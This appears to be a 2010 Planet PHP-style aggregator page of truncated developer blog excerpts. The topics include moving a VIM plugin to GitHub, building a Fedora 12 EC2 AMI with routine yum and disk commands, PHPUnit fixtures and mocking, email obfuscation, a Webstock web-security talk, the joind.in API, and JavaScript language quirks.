Tobias Schlitt has a quick post to his blog about the release of the phpDocumentor for VIM project he's been working on over to github.
phpDocumentor for VIM (PDV) is a project which resulted from my efforts to create a comfortable programming environment for PHP in the VIM editor. Since the server which hosted the SVN repository is to be switched off the next days, I finally moved development over to github. In addition to that, I seized the chance to rename the project itself to VIP (VIM integration for PHP).
There's a few other goodies in the repository besides just the VIP tool. You can grab some (or all) of the code by following the instructions given on the github page.

The Zend Developer Zone has posted the announcement of this month's Zend Framework Bug Hunt Days coming up on the 18th and 19th of February Thursday and Friday of this week).
This upcoming Thursday and Friday, 18-19 February 2010, Zend Framework will host its fifth monthly bug hunt. For those of you unfamiliar with the event, each month, we organize the community to help reduce the number of open issues reported against the framework. Past events have netted over 100 issue closures over each two-day period; let's keep up the momentum!
If you've never taken part in one of their Bug Hunt Day events, it's easy to get started. You'll need to have a CLA with Zend to be able to contribute your bug fixes back to the project, but the rest is all about searching out those issues and figuring out the root cause. For those that would like to be a bit more interactive, there's also a channel on Freenode (IRC) where you can get some help - #zftalk.dev.
Latest PECL Releases:
I recently needed to create a clean EC2 AMI using a fairly new linux distro. It has been a while since I've needed to create a new AMI so I also wanted to move away from the older pre-packaged AMI and boot using EBS. After taking a look at what was currently available publicly I decided I would just create my own EBS bootable AMI using Fedora 12. It wasn't all that complicated but there are a decent number of steps so I figured I would document them for anyone else who might want to give it a try.
I'm going to assume you already understand how to do things like create instances, create EBS volumes and ssh into your running instance using key based authentication. I use the AWS management console for a lot of what follows with the exception of needing to register the AMI and for that you will need the Amazon EC2 API Tools and Amazon EC2 AMI Tools
There are two ways to get to a bootable EBS backed Fedora 12 instance and they start off the same. The first thing to do is fire up the AMI named "Basic Fedora Core 8 (AMI Id: ami-84db39ed)" that is provided by Amazon.
Once the Fedora Core 8 EC2 instance is ready ssh into it. Fedora 12 requries a newer version of RPM to install so you now need to upgrade the instance to Fedora 10. This is pretty easy and can be done by following my instructions on upgrading from Fedora 9 to Fedora 10 (don't worry about skipping 9 it will work). Here are the commands needed to do the upgrade:
yum clean all rpm -Uhv [mirror.liberty.edu] http://mirror.liberty.edu/pub/fedora/linux/releases/10/Fedora/i386/os/Packages/fedora-release-notes-10.0.0-1.noarch.rpm yum -y update
After a few minutes the instance will be upgraded and ready for the next step. This is where the two paths diverge depending on how you want the final product constructed. The options are to install Fedora 12 on a freshly minted volume or continue upgrading the instance you just created.
Upgrade path
I will start with the upgrade path since that is probably the easier of the two although may leave you with a messier instances after it is done. The next step for the upgrade path is to do what I outline in upgrading from Fedora 10 to Fedora 11 and upgrading from Fedora 11 to Fedora 12. Here are the commands all in one place to make it easy:
yum clean all rpm -Uvh [mirrors.usc.edu] http://mirrors.usc.edu/pub/linux/distributions/fedora/linux/releases/11/Fedora/i386/os/Packages/fedora-release-notes-11.0.0-2.fc11.noarch.rpm yum -y update yum clean all rpm -Uvh [mirrors.kernel.org] http://mirrors.kernel.org/fedora/releases/12/Fedora/i386/os/Packages/fedora-release-12-1.noarch.rpm yum -y update
Once you have everything upgraded to Fedora 12 you will have a 15G root partition that has less than 2G used. This may not suite your needs very well if you really don't need that extra 13G but thankfully if you want to shrink the root EBS partition you can.
I found some instructions in this article on EBS backed AMIs that describes using the following command to copy the entire file system over. Assuming you have created a smaller volume and attached it to the instance as sdh you should be able to do something like the following to copy everything to the new volume:
mkfs.ext3 /dev/sdh mount /dev/sdh /mnt tar cpS / | cpipe -vt -b 1024 | gzip -c | tar zxpS -C /mnt rm -rf /mnt/mnt/* rm -rf /mnt/proc/* umount /mnt
One thing to note in the above is that the entire sdh drive is formatted for the file system (you will actually get a prompt asking if that is ok). As far as I can tell this is the way it has to be or the instance will not boot correctly. I assume this is because the root device is hidden behind a partition already as /dev/sda1 and so shouldn't have a second partition table.
Skip to the common part now to learn how to make the final bootable AMI.
From scratch path
This path is similar to and mostly
Truncated by Planet PHP, read more at the original (another 5600 bytes)
Am kommenden Donnerstag, den 18.02.2010 findet wieder ein öffentlicher Vortrag im Mayflower Büro in München statt (Mannhardtstraße 6, S-Bahn Isartor).
This article is part of a series on testing untestable code:
In a unit test, mock objects can simulate the behavior of complex, real (non-mock) objects and are therefore useful when a real object is difficult or impossible to incorporate into a unit test.
A mock object can be used anywhere in the program where the program expects an object of the mocked class. However, this only works as long as the object can be passed into the context where the original object is used.
Consider the following example:
<?php
require_once 'Bar.php';
class Foo
{
public function doSomething()
{
// ...
$bar = new Bar;
$bar->doSomethingElse();
// ...
return TRUE;
}
}
?>
<?php
class Bar
{
public function doSomethingElse()
{
print '*';
}
}
?>
With the code above, it is impossible to run a unit test for the Foo::doSomething() method without also creating an object of Bar. As the method creates the object of Bar itself, we cannot inject a mock object in its stead.
In a perfect world, code such as the above could be refactored using Dependency Injection:
<?php
require_once 'Bar.php';
Truncated by Planet PHP, read more at the original (another 10780 bytes)
If you place your e-mail address somewhere visible on your website, it will be only a matter of time until your e-mail account will get more and more spam messages. There are lots of spam bots checking the Internet for email addresses on regular websites, forums, blog and mailing lists. Once caught by some spam bot your mailbox is in need of a strong spam filter or sometimes it might be better to use a new e-mail address.
In this article we show you different ways, how you’re able to show your e-mail address to human visitors and hide it for spam bots.
Don’t forget, the solutions mentioned in this article are not a total protection against spam. If you share your e-mail address online, the chance that your e-mail address get on a spammer’s list is big. We advice that if you need to share an e-mail address with your websites’s visitor, to not use your personal e-mail address.
With each solution we give a review for:
Just providing image version is very simple and easy. Open your image editor, create a small image from your email address and upload the image to your website.
After this you’re able to place that address in to the html, just on that place where you need it. It’s safe for your e-mail address and it’s simple to use that image in your website document or CMS. There is one big issue with this solution: The visitor has to type over your e-mail address to his e-mail program.
There are different ways to hide the format of an e-mail address. Hoe does this work? Changing the format of some email address or just hiding parts from the e-mail address makes it more difficult for spam bots to find them. For example:
While the first one is very webmaster friendly, it’s not be the best protection for your e-mail address. The second example is used very often because this “faked” address is easy to add to your content. Both formats are recognized by smarter spam bots.
Hide your e-mail address using PHPThe following example will convert the string of some e-mail adress into unicode values:
function convert_email_adr($email) {
$pieces = str_split(trim($email));
$new_mail = '';
foreach ($pieces as $val) {
$new_mail .= '&#'.ord($val).';';
}
return $new_mail;
}
Use this function in your web page like:
"/>Truncated by Planet PHP, read more at the original (another 5174 bytes)

When Carson McDonald tried to get multiple prepared statements to work in his MySQLi code for his application, he got a "commands out of sync" error. Luckily, he's found a solution thanks to the store result.
Details about this error can be found in the mysql docs. Reading those details makes it clear that the result sets of a prepared statement execution need to be fetched completely before executing another prepared statement on the same connection.
He gives code snippets that are "before" and "after" examples of what he had to change to get things working. Each time its executed, the "store_result" call is made and the result set is pulled out of the prepared statement.

Sebastian Bergmann has two recent posts dealing with some of the more difficult topics in unit testing. One looks at sharing fixtures between tests and the other talks about stubbing and mocking static methods in your tests.
From the first of the two tutorials:
A good example of a fixture that makes sense to share across several tests is a database connection: you log into the database once and reuse the database connection instead of creating a new connection for each test. This makes your tests run faster.
This fixture sharing example uses the setUpBeforeClass and tearDownAfterClass methods to create and destroy the connection.
In the second article Sebastian shows how to mock up a sample static function and mock it with the "staticExpects" helper.
Hello! The guys here at echolibre thought that making a web app would be the best way for me to experience working in this industry, so I am. The idea that I’ve come up with and started this week is, as Eamon put it, a document management system for schools, teachers & students. Here’s just a quick overview of what I want to do with the project and I’d love to hear what you think about it or any ideas you have — so if you want to, just throw me a comment below!
Basically, the idea is to have a platform that enables those who participate in a school environment to share resources much more easily and to make it easier to find the relevant resources faster. Included in this would be a “homework journal” style system to allow the student to see exactly what they have to do and allow them to organise it more efficiently and with almost one-click access to very relevant resources chosen by the teacher to go along with that work.
This is a largish project and I don’t expect to get everything done in the week, however, my aims for the end of the week are:
The core of the application, which consists of:
What I hope to do with the app in near future:
I have yet to think of a name for this product, so I’d really love to hear any ideas people would have on that.
David and Eamon have given me advice from a technical and project / commercial perspective.
I’m using Zend Framework in the LAMP stack. I’ll update later in the week with progress.

In needing to test some mailing functionality in his application Adrian Schneider has come across two ways to handle it on a machine that may not have mail up and configured correctly - mail a mail transport class or sent up a pseudo mail server.
I think a staging environment is more appropriate to actually have email being sent out. Nevertheless, it has made testing any email functionality a little cumbersome. I've done a little research, and have found two ways to tackle the problem. I've also included code samples and other resources to get you started.
The first method - the transport class - uses the Zend_Mail_Transport component (and interfaces) to set the transport for the application and handle the routing from an extension of the Abstract class. The second method involves changes to system settings in the php.ini and adding in a simple script to force a forward to the right address. Windows users can also use fakemail to accomplish a similar thing.

WordPress users out there might find the latest post from Sameer Borate interesting if they're looking to squeeze the most performance out of their installation. It's a guide to using the FirePHP plugin for Firefox to benchmark your WordPress install's SQL.
The first thing you can do to rectify the situation is to find out where exactly the bottleneck resides by analyzing the time each SQL query takes to executes. Some inquisitive people among you may also be interested in knowing in what sequence the Wordpress SQL queries themselves are being run.
His method of benchmarking the SQL for the application uses some of the built in query logging in WordPress and some code dropped into your footer of your template to grab that information and push it back out to the waiting FireBug panel in your browser. The result looks something like this.

On PHPBulder.com there's a new tutorial posted showing you how to create an application that can do unit conversion with the help of the Zend_Measure component of the Zend Framework.
Performing even relatively simple conversion calculations such as from pounds to kilograms from memory can be fairly difficult, let alone calculating more esoteric conversions such as from square meters to acres. To automate this conversion process, I used the Zend Framework to create a calculator capable of easily migrating data among the most commonly used formats.
Zend_Measure lets you define the type you want to convert from and convert to based on some constants included with the component. A simple call to the "convertTo" method and you'll get your answer. Based on this he creates a simple calculator and shows you can can integrate roman numeral support in as well.

My last post about Wordpress and Capistrano made people ask why wasn’t I using Phing, and staying within the PHP ecosystem. The answer was simple, I wanted to learn Ruby, and I wanted to learn Capistrano. The question kept nagging me though, so I decided to find out how easy would it be to duplicate this in PHP.
I decided to try the same thing with Phing, but found it’s not as simple as I expected. I had some basic requirements.
After a few weeks of Googling, I came to the conclusion that even though people do a lot of cool stuff with Phing, a lot of the deployment code is not open to the public. So, I had to go re-invent the wheel.
My first problem came up with SSH, PHP on MacOS 10.6 does not come with the SSH extensions installed, so I had to build my own. Then, I found a task within Phing called SshTask, but it wasn’t exactly what I wanted, it was verbose, and unfortunately did not offer the sftp subsystem,I’ve created a custom Datatype and Task for Phing. The custom type is called Linuxbox, it looks like the following..
<?xml version="1.0" encoding="UTF-8"?>
Now, I can pass this custom type, to tasks that know about it…
Where’s the source?
The source is on git hub, it’s going to be part of a bigger project, called Phonetic. Phonetic, is my plan to replace myself with a build.xml file. I’d like to make Phonetic the PHP equivalent of Moonshine. Unless someone can show me something close to it in the PHP world, or that is not dependant on RoR, as far as I understand, moonshine is a rails plugin that uses Capistrano.

Ivo Jansch has a recent post to his blog talking about one of the great debates in the world of PHP - is the language by itself a good templating language (versus using something like Smarty)?
I think I've said it before. The tool you use should depend on the job you're trying to do. So to say that Smarty is wrong just because it is, does not feel right. I agree that in many cases PHP can be used as a template language just fine, but there are situations where a Smarty template (or any other templating engine) is just that more pleasant.
He's comparing them on aesthetics alone, showing two snippets of code - one templated via PHP and the other in the format that Smarty uses to generate a simple chunk of XML. For more examples of the Smarty format, check out their documentation.
So you’re starting to show interest in web design, but are having trouble figuring out where to start? Want to create awesome websites, learn how to code HTML/CSS, and learn about web standards and the user experience? If so, we have a list of hand-picked Envato tutorials that should get you started on your journey!
First Things FirstBefore you dig into all of these great tutorials written by very talented designers and developers, remember one thing: nothing is impossible and if they can do it…so can you – just like I did few years ago. I began traversing design-related forums (Envato wasn’t present at the time), dug into every web design related post I could find, tried things myself, experienced trial and error until I finally created my first website (which was pretty bad). Don’t be shy to ask for help, we are a great community filled with love to share our knowledge for free! That said, here is a list of, in my opinion, great beginner-level tutorials, which will help you understand the terms “web” and “design”, teach you how HTML and CSS work, and how you can do it all by yourself. Let’s begin.
Please note: some tutorials listed here are part of the Plus Membership program. More info about Plus Tuts could be found here.
Let’s Start with Color Theory… “The Importance of Color in Web Design”All too often, I see a great design concept with a poor choice of colors. Part of what makes a great web design “great” is layout, typography and color. When each of these aspects work to compliment each other, great design is born.
Visual Hierarchy in Web Design
On a daily basis I view all sorts of websites and all kinds of designs. One thing in common with successful templates on ThemeForest or with websites around the web is strong visual hierarchy. Often times I see templates that have a great concept going but has poor visual hierarchy. I’ll cover what visual hierarchy is and some great examples in this article.
Common Mistakes in Web Design
Many rejected templates here on Themeforest suffer from the same few common mistakes: typography (font, line-height, letter-spacing, color), alignment (grid), and spacing (padding). In this tutorial, we are going to take a closer look at how to avoid these common errors.
CSS: The Very First Steps
This one is for those who are hoping to take their first steps into web design. This 70 minute Plus video tutorial will assume that you have zero knowledge of CSS. Over the course of the screencast, you’ll learn about the basic syntax, a plethora of different properties, and how to create the beginnings of your very first website.
Design and Code Your First Website in Easy to Understand Steps
In this tutorial, we’re going to design and code our first website in simple, easy steps. This tutorial was written for the beginner with the hope that it will give you the tools to write your own standards-compliant websites! It’s a brand new week; maybe it’s time to learn a new skill!
30 HTML Best Practices for Beginners – Basix
The most difficult aspect of running Nettuts+ is accounting for so many different skill levels. If we post too many advanced tutorials, our beginner audience won’t benefit. The same holds true for the opposite. We do our best, but always feel free to pipe in if you feel you’re being neglected. This site is for you, so speak up! With that said, today’s tutorial is specifically for those who are just diving into web development. If you’ve one year of experience or less, hopefully some of the tips listed here will help you to become better, quicker!
Without further ado, let’s review thirty best practices to observe when creating your markup.
Moving on…
Now that we’ve a basic understanding of theory, and have learned how to design and code a very basic web page, we are ready to move on a bit further. The following articles and tutorials are here to teach you more about the web design process and best coding practices.
Elements of Great Web Design: The PolishWhen I put together designs, I usually do so in two phases – Layout and Polish. During the layout phase, I place the main objects on the page usually finishing with something that looks relatively complete. In the second stage – the Polish – I go over the design and adjust colors, type treatments, shadows, layers, and generally clean it all up. In this first of a series of tutorials on web design, we’ll be looking at the Polish.
Designing a Family of Websites
The tutorial I’ve added today is called “How to Design a Family of Website Designs” and is a step-by-step follow-along of a set of WordPress blog designs that I recently did. Because the Photoshop skills involved aren’t that advanced, I’ve spent more time talking about why certain things are done.
From PSD to HTML, Building a Set of Website Designs Step by Step
Today I’m going to take you through my entire process of getting from Photoshop to completed HTML. We’re going to build out a set of 4 PSD mockups of a website that eventually will become a WordPress theme. It’s a massive tutorial, so if you’re going to follow through to the end, make sure you have a few hours to spare!
Last, but Equally Important…
Be Inspired, but Don’t Copy
There’s a thin line between inspiration and copying. We are surrounded with objects and art in our every day life. Finding inspiration for a design is an easy task these days. In this article, I will guide you through the design process of a website I recently finished. I will provide images of websites that inspired me to create a new and unique web layout.
A Freebie to get you Started…
30 Photoshop Web Elements, Backgrounds and Icon Sets (via GraphicRiver)
When you’re designing or building a website, chances are you’re going to need various little elements designed. I personally tend to reuse a lot of the same buttons, menus, icons and so on. Since we launched GraphicRiver earlier this year though we’ve seen a lot of cool little web graphics coming in, in the form of web elements, backgrounds and icons. So I’ve compiled 30 of the best to give you a flavour of what is available over there. Of course don’t forget if you just need a complete PSD design template to build off you can grab those at ThemeForest!
We’re not Done Yet…
Take a few minutes and read these great interviews by some of the leading names in web industry. You’ll be amazed by how much you can learn from these guys!
… and more. Read all of the interviews here.
Final Thoughts…
Every new beginning is tough; the same holds true for web design. I remember myself when I was first learning: hours of HTML/CSS debugging, all while the solution was right there in front of me; but hey, we learn from our mistakes and repetition. I wish I had access to the Tuts+ network when I was first beginning. It could have saved me a lot of time and frustration. Consider this article as the starting point, if you find yourself taking the first steps into this industry. Any questions?
Write a Plus TutorialDid you know that you can earn up to $600 for writing a PLUS tutorial and/or screencast for us? We’re looking for in depth and well-written tutorials on HTML, CSS, PHP, and JavaScript. If you’re of the ability, please contact Jeffrey at nettuts@tutsplus.com.
Please note that actual compensation will be dependent upon the quality of the final tutorial and screencast.

Some of the feedback and questions that I've gotten about mtrack were around making it easier to deploy and use in an open or public facing environment.
To that end, I've added support of OpenID authentication and bot detection via reCaptcha.
To enable these features is quite simple; for OpenID, add the following lines to your config.ini file:
[plugins]
MTrackAuth_OpenID =
You should also remove any other Auth plugins that you may have there, as how they interact with OpenID is not currently defined.
There are few good reasons to share fixtures between tests, but in most cases the need to share a fixture between tests stems from an unresolved design problem.
A good example of a fixture that makes sense to share across several tests is a database connection: you log into the database once and reuse the database connection instead of creating a new connection for each test. This makes your tests run faster.
PHPUnit 3.5 removes the fixture sharing feature of the TestSuite class. It was tedious to use this feature as it required the usage of a custom TestSuite class in addition to the test case class. Furthermore, its implementation was a "hack".
PHPUnit 3.4 introduced the setUpBeforeClass() and tearDownAfterClass() template methods that can be used in a test case class. These methods allow a much cleaner and simpler implementation of fixture sharing between tests of the same test case class:
<?php
class DatabaseTest extends PHPUnit_Framework_TestCase
{
protected static $dbh;
public static function setUpBeforeClass()
{
self::$dbh = new PDO('sqlite::memory:');
}
public static function tearDownAfterClass()
{
self::$dbh = NULL;
}
}
?>
The example above uses the setUpBeforeClass() and tearDownAfterClass() template methods to connect to the database before the test case class' first test and to disconnect from the database after the last test of the test case, respectively.
It cannot be emphasized enough that sharing fixtures between tests reduces the value of the tests. The underlying design problem is that objects are not loosely coupled. You will achieve better results solving the underlying design problem and then writing tests using test doubles, than by creating dependencies between tests at runtime and ignoring the opportunity to improve your design.
The Olympics have just started and I can’t help but look at those competing and liken them to the development work so many of us do. What’s the same, you ask? How could an international sporting event of the best of the best possibly connect with the work we do behind our keyboards? It’s simple – it’s all about being the best.
Olympians work most of their lives (if not all of them) trying to become the best at their sport that they can be. Some of the figure skaters have even been paired since they were little kids and know each other’s moves as if they were their own. They have honed their craft down to the point where they know in the first thirty seconds of a routine or race how well it’ll turn out in the end. They know the result because they know themselves. They’ve worked hard to get to where they’re at and they know that to compete on this new level, they’ll have to step things up and do even more than their best.
It’s easy to see how this relates to us, the software developers (or managers of these developers) all over the world. There’s no excuse for you to not look at things on a more global scale and try to be the best you can possibly be. Sitting in your chair and being comfortable in the knowledge you learned five years ago isn’t enough. Don’t lull yourself into thinking that, just because you know your current codebase, you’ve done all you can. Get out there, look at what other developers are doing and hone those skills. There’s tricks that you can learn from the best and tools that you can use to hone your own development work into a razor sharp edge that can cut through any problem and push you up into that next level of development.
Who knows…you might just find something you can apply that could make you and your development soar to new heights and help you feel the rush that you did when you were first learning a language – flying headfirst into the unknown, unsure about what was to come and where you might land.
Don’t be afraid. Take the risks. Become the best you can be.
It’s been too long (as usual) between my posts. But I honestly hope to remedy that now. For the last year-ish of my life I’ve made very scant blog posts. Primarily because I was working at Zend as Editor-in-Chief of DevZone and the bulk of my creative writing juices were being spent there. It’s amazingly hard to focus on writing in two places at once.
But as of 2 weeks ago, I started my new job and I’ve been very excited about it so far. I’ve joined the team over at HiiDef, which is a web incubator/holding company for lack of a better description. Basically they come up with some great web 2.0 styled websites, so far, more focused in nature, and they bring them to life. It’s a very eclectic team of people that are 100% remote though mostly clustered on the East Coast of the US. They’ve focused on hiring the ‘right people’ regardless of what technology base said people used. And hence with their three projects they currently have going, one is Python/Django, one is Ruby on Rails and the other, is PHP.
That’s where I came in. Their newest product is Goodsie, which is built on PHP/MySQL. It’s a website that’s designed to make it easy for people to create a storefront online and sell their goods. But to offer an easy way to truly configure that website to be a custom storefront, versus other options (Ebay, Etsy), where things are far more cookie cutter.
It’s “[pretty close]“ to launching. Though without a firm date. I was brought on board to take over as Lead Developer for the project which had previously been worked on by a part-time contractor, so that they could have a full-time guy to take it from 80% to launch and beyond.
Anyway, it’s been an exciting first couple weeks and everyone here is a great attitude about how a company should be run and the value of employees.
The future is looking bright. (Though a bit covered in snow at the moment)
Filed under: HiiDef, Life, PHP Tagged: HiiDef, Job, PHP, Python, Ruby, Zend
Job postings for the past week:
I've been speaking at conferences since 2003, but I've never been as excited about a conference as I am about Webstock. I remember discussing it at the first Kiwi Foo Camp with Natasha Lampard and a few others. I liked the name — I love wordplay — and her enthusiasm was infectious; she wanted to make Webstock extraordinary.
The first Webstock took place just a year prior to that impromptu discussion, and it has quickly become the top web conference around. I first began to realize what a big deal Webstock was when Nat Torkington had this to say about it:
Back home safe, utterly exhausted after Webstock. Best. Conference. Evar.
For those who don't know Nat, he ran OSCON — usually my favorite conference each year — for a decade. He has also been heavily involved in lots of other O'Reilly conferences, including unconferences like Foo Camp and Kiwi Foo Camp. For him to call Webstock the best conference ever is really saying something.
Fast forward to today. I'm sitting in a Starbucks in Los Angeles. The new Vampire Weekend album is playing. 16 hours ago, I began my journey to Wellington, New Zealand, and in another 20 hours, I will land there. (This journey will take a full day and a half.) I've been busy with a really exciting Analog project lately, so I haven't blogged about Webstock yet. If you haven't registered, you should hurry. They were almost sold out a few days ago, so it might already be too late. If you're lucky enough to be going, I hope you'll say hello.
I'm giving a workshop called Evolution of Web Security that combines some of my previous talks with some new material, covering the security spectrum from old to new, technical to social:
This is a multi-faceted workshop that explores new concepts in web security. After a solid grounding in well-known exploits like cross-site scripting (XSS) and cross-site request forgeries (CSRF), I'll demonstrate how traditional exploits are being used together and with other technologies like Ajax to launch sophisticated attacks that penetrate firewalls, target users, and spread like worms. I'll then discuss some ideas for the future, such as evaluating trends to identify suspicious activity and understanding human tendencies and behavior to help provide a better, more secure user experience.
I'm also giving a talk called Security-Centered Design that focuses and expands on some of the material from the workshop:
Security is more than filtering input and escaping output (FIEO), and it's more than cross-site scripting (XSS) and cross-site request forgeries (CSRF). Security isn't even always black and white. In order to create a more secure user experience, we need to understand how people think. Perception is as important as reality, and meeting user expectations is a fundamental of good security. In this multifarious talk, I'll explore topics such as change blindness and ambient signifiers, and I'll show some real-world examples that demonstrate the profound impact human behavior can have on security.
I gave this talk a few times in 2009, and I have updated it for 2010. Although the technical-to-social shift of web security isn't a topic that's being talked about that much yet, the transition is evident in a lot of recent activity, including solutions like OAuth and Facebook Connect. We need more people thinking about how to solve evolving technical and social problems. I don't pretend to have all the answers, but I hope this talk can be a catalyst for more awareness and discussion.
Webstock, here I come!
Sat, 13 Feb 2010 00:58 GMT — Chris Shiflett’s Blog ![]()
I speak at many conferences and more and more of those conferences are using a service called joind.in. The joind.in website allows attendees of conferences to leave feedback for the speakers, organisers and sponsors. For me as a speaker this feedback by attendees is very important (as long as the comments are constructive). I use those comments to tweak and improve my presentations if I give them at a later moment.
The joind.in website also provides an API that allows you to talk to the service from other applications and sites. I've now integrated this in my site (at the talks page). It uses JQuery's ajax functionality to talk to the backend which queries (and caches) the joind.in API requests. In order to make API calls, you need to make POST requests to a specific URL. The URL depends on what type of object you want to use. For example, there is http://joind.in/api/talk for requesting information about talks, and http://joind.in/api/user for fetching information about users.
Requests can be either made in XML, or with JSON. A simple example to request all comments for a specific talk can be done with something like:
<?php $id = 1240; $requestData =
The do_post_request() code I lifted from Wez' page, and looks like:
<?php
function do_post_request($url, $data, $optional_headers = null)
{
$params = array(
'http' => array(
'method' => 'POST',
'content' => $data
)
);
if ( $optional_headers !== null) {
$params['http']['header'] = $optional_headers;
}
$ctx = stream_context_create( $params );
$fp = fopen( $url, 'rb', false, $ctx );
$response = stream_get_contents( $fp );
return $response;
}
?>
I am also fetching the full name for each user. Because this could mean that I have to do a lot of requests I am caching them with eZ Components' Cache component.
You can see the code operational on the talks page, by clicking on the little joind.in logo after each talk that is on the site. If JavaScript is disabled, the logo turns into a link that takes you to the joind.in site with all the comments.

In a new post from Lukas Smith's blog he talks about the project's move to Subversion and away from CVS and how that's affected the language's development in a very positive way.
I remember that back when I was co-RM for PHP 5.3 one of the very painful parts was the crying and moaning about the commit freezes we put into place while packaging up a new release. The reason being we were on CVS, if people kept committing while a release was being tested it would effectively prevent any sort of QA.
Because of problems like this (and many others), the group decided to drop CVS for their development and head to the brighter land of Subversion. So, instead of having days when no commits are allowed, correct branching and testing make it much easier to develop one of the web's most popular languages.
The change came with some new branching techniques and some of the developers in the group aren't as happy about how they're handled. Some new tools have been developed to help minimize the risks that these methods could cause, though, including this site.
JavaScript, if only by default, is one of the most popular programming languages available. Over the years, it’s been labeled as a nightmare to work with, and, to some extent, this is true! However, more often than not, what people mean to say is that the DOM API is a nightmare. Nevertheless, there are a handful of flat-out errors in the language.
I’d like to make a note that I love JavaScript. This article is only meant for some fun, and for us to be aware of some its short-comings.
1. The Name. JavaScript is NOT JavaWe’ll start with a fun jab at the name choice. While it was originally called Mocha, and then LiveScript, it was later changed to JavaScript. According to history, its similarities to the name Java was the result of a collaboration between Netscape and Sun, in exchange for Netscape bundling the Java runtime within their popular browser. It’s also been noted that the name came, almost as a joke, due to the rivalry between LiveScript and Java for client-side scripting.
Nevertheless, it resulted in thousands of “JavaScript has nothing to do with Java” comments in forums across the web!
2. Null is an Object?Consider this…
console.log(typeof null); // object
This makes zero sense. If null is the absence of a value, then how could its type be “object?” The simple answer is that it’s flat-out an error that dates back to the first release of JavaScript – one that was even incorrectly carried over to Microsoft’s JScript.
3. NaN !== NaNNaN, as we’d expect refers to a value that is not a legal number. The problem is that NaN isn’t equal to anything…including itself.
console.log(NaN === NaN); // false
This should be wrong. Instead, if you want to determine if a value is indeed NaN, you can use the isNaN() function.
Update: after reading through some of the brilliant comments, particularly the ones relating to NaN being similar to infinity, it then makes perfect sense that NaN would not equal itself. But it can still be confusing. Refer to the comments for an in depth discussion on this!
4. Global VariablesThe dependence upon global variables is widely considered to be far and away the worst part of JavaScript. For simple projects, much like the quick tips on this site, it doesn’t truly make a difference. However, the real burden of globals come into play when you begin referencing multiple scripts, without any knowledge of how they’re created, or named. If they happen to share the same name as one of your variables, your program is going to throw some sort of error.
5. User-Agent Strings Report Mozilla. Ever Wonder Why?“The problem with JavaScript isn’t just that it allows them (global variables), it requires them.” – Crockford
Alright – this one isn’t the fault of JavaScript. I cheated a bit. It’s because of the browser vendors. Having said that, user-agent string detection is very common in JavaScript; so it’s important to know what you’re dealing with. It probably doesn’t belong in this list, but who cares! It’s good to know.
This one isn’t as much a mistake as it was an unavoidable decision. For example, open Safari, access the Web Inspector, and log the user agent string into the console.
console.log(navigator.userAgent); // Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Note that first string of characters: Mozilla/5.0. Why would Safari identify it as a Mozilla based browser? Though it later correctly identifies itself, that still doesn’t explain why they’d bother to mislead programmers. In fact, you’ll find that most browsers identify themselves as Mozilla. The answer goes back a decade, and is, again, less an error, and more an unavoidable circumstance.
For those unfamiliar, a user-agent string is simply meant to identify the browser and its version. As an example, the first ever browser, Mosaic, had a user-agent string that looked like so:
Mosaic/0.9 // browser name / version number
This makes perfect sense. And when Netscape came onto the scene, they kept Mosaic’s usage, and also added an encryption type section.
Mozilla/2.02 [en] (Win95; I) // browser name / version / encryption
So far so good. The problems came into play when – wait for it – Internet Explorer 3 was released. Keep in mind that, when they launched, Netscape was the most popular browser available. In fact, many servers and programs were already implementing user-agent detection in order to identify Netscape. Though this is a highly debated topic today, back then, it wasn’t much of an issue. If IE had used their own user-agent string, it would have looked something like this:
MSIE/3.0 (Win95; U)
This would have left them at a huge disadvantage, because Netscape was already being identified by many servers. As such, the developers decided to incorrectly identify the browser as Mozilla, and then append an additional set of information labeling it as Internet Explorer.
Mozilla/2.0 (compatible; MSIE 3.0; Windows 95)
Nowadays, user-agent detection is a last effort, and its considered so precisely for this reason. You’ll find that most browsers followed IE’s lead in identifying themselves as Mozilla. Think of it as a chain reaction.
Further ReadingI highly recommend that you read Nicholas Zakas’s “History of the User-Agent String,” if you’d like to delve deeper.
6. Scope InconsistenciesConsider the following code:
// Create a function that will call a function with the name equal to parameter fn.
function foo(fn) {
if (typeof fn === "function") {
fn();
}
}
// Create an object with a property and a method.
var bar = {
barbar : "Hello, World!",
method : function() {
alert(this.barbar);
}
};
bar.method(); // Alerts Hello, World!
foo(bar.method); // If we call the foo function add pass the "bar.method" method, it somehow alerts "undefined."
foo(function() { bar.method(); }); // alerts Hello, World, after
The reason why foo(bar.method) does not render the same result is because the method function will be called as a method of the window object, rather than bar. To fix this, we must call bar.method() from within the passed anonymous function.
Thanks so much to Jeremy McPeak for notifying me of this error.
7. The Use of Bitwise OperatorsJavaScript shares many similarities with Java – one of them being the set of bitwise operators.
Consider the first item, &; it would be much more efficient to use the && operator, as it’s quicker. This is because JavaScript isn’t the same as Java, and doesn’t have integers. As such, a relatively length process is required to convert the operand, do something with it, and then convert it back.
This is why you can get away with using & for “and”, and | for “or” – even though you should be using && and ||.
8. Too Many Falsy/Bottom ValuesMaybe this isn’t specifically an error in JavaScript, but it certainly makes the learning process, especially for beginners, a tough one. Values like null, false, and undefined almost mean the same thing, but there are differences that can be confusing to understand.
Falsy ValuesTo test, open up the console in Firefox, and find the boolean of the following items.
!!(0); // false
!!(false); // false
!!(''); // false
!!(null); // false
!!(undefined); // false
!!(NaN); // false
Please note that any other values will be interpreted as truthy.
More than an error, this many falsy values is just confusing!
9. It Can’t Do ArithmeticOkay, okay – I’m 99% teasing with the heading above. But JavaScript does have a few minor issues when working with decimals, for example, things like money transactions. For example, open up your console, and log “.2 + .4″. We would expect it to display “.6″, correct? Well it does, and it doesn’t!
console.log(.2 + .4); // 0.6000000000000001
How come? At a high level, it’s because JavaScript used the IEEE Standard for Binary Floating-Point Arithmetic. I, probably like you, don’t fully understand exactly what that specifies, but just know that, when dealing with decimal fractions, results can vary slightly from what you might expect. Keep in mind that integer arithmetic is perfect, so this really isn’t a huge issue.
10. Code Styling Isn’t your Choice!When it comes to your coding style, it’s exactly that: your style. Some people prefer to place their curly braces on the same line as the control, others prefer that it goes on its own.
// braces on the right
return {
foo : bar
};
// braces on their own line
return
{
foo : bar
};
Dependent upon the first web dev book we read, or how our teacher taught us, it’s perfectly acceptable to use either of the methods above, or even a combination of the two. The problem with JavaScript is that it’s not your choice!
I learned this particular example from a lecture that Doug Crockford gave around a year ago. Consider the return statement from above. Believe it or not, they ARE NOT equal. Don’t believe me? Try this out. Add the following to some HTML page.
var foo = function() {
